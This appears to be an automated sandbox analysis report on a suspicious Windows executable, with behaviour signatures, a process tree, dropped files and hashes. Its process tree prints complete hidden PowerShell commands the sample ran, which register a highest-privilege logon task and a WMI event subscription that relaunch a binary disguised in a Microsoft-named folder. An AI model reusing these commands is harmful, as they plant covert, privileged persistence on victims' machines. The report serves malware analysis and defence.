Overview

overview

8

Static

static

3

MyService-...1).exe

windows10-2004-x64

8

MyService-...1).exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    62s
  • max time network
    65s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/07/2026, 18:13

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General

  • Target
    MyService-windows-amd64-5d864f4f(1).exe
  • Size 33.6MB
  • Sample260730-wtymwadd52
  • SHA256 a9ce6f1bc16c7b3c3687654dae7684c6e327ad644ed78e065aa5005842ff3d6c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistenceprivilege_escalation

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MyService-windows-amd64-5d864f4f(1).exe
    "C:\Users\Admin\AppData\Local\Temp\MyService-windows-amd64-5d864f4f(1).exe"
    1⤵
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_afc8bd480a64.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_d0b0fdc1' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2360
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_afc8bd480a64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_afc8bd480a64.exe"
    1⤵
    • Creates a file in the Startup directory
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_afc8bd480a64.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_d0b0fdc1' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_fd0b0fdc1'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_cd0b0fdc1'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_afc8bd480a64.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_fd0b0fdc1'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_cd0b0fdc1'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1360

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 37c52340cedfa23a9a960ce3f4d5ae9795b57e3b10dee006c26192ab3b7f5487
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 aee5dc6633466222caab4ed5a88c5de7f6f281bf599989e960c0f1b43bfff419
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_gzclaxu5.nqm.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gzclaxu5.nqm.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        agent-1165658738.tmp
        • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-1165658738.tmp
        • Size 33.6MB
        • SHA256 a9ce6f1bc16c7b3c3687654dae7684c6e327ad644ed78e065aa5005842ff3d6c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/1032-18-0x00007FF7333D0000-0x00007FF7375C6000-memory.dmp
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        memory/1032-34-0x00007FF7333D0000-0x00007FF7375C6000-memory.dmp
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        memory/1032-49-0x00007FF7333D0000-0x00007FF7375C6000-memory.dmp
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        memory/2360-14-0x000002923FE90000-0x000002923FEB2000-memory.dmp
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        memory/2360-6-0x0000029225F30000-0x0000029225F40000-memory.dmp
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        memory/2360-7-0x0000029225F30000-0x0000029225F40000-memory.dmp
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        memory/4772-35-0x00007FF6551B0000-0x00007FF6593A6000-memory.dmp
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        memory/4772-46-0x00007FF6551B0000-0x00007FF6593A6000-memory.dmp
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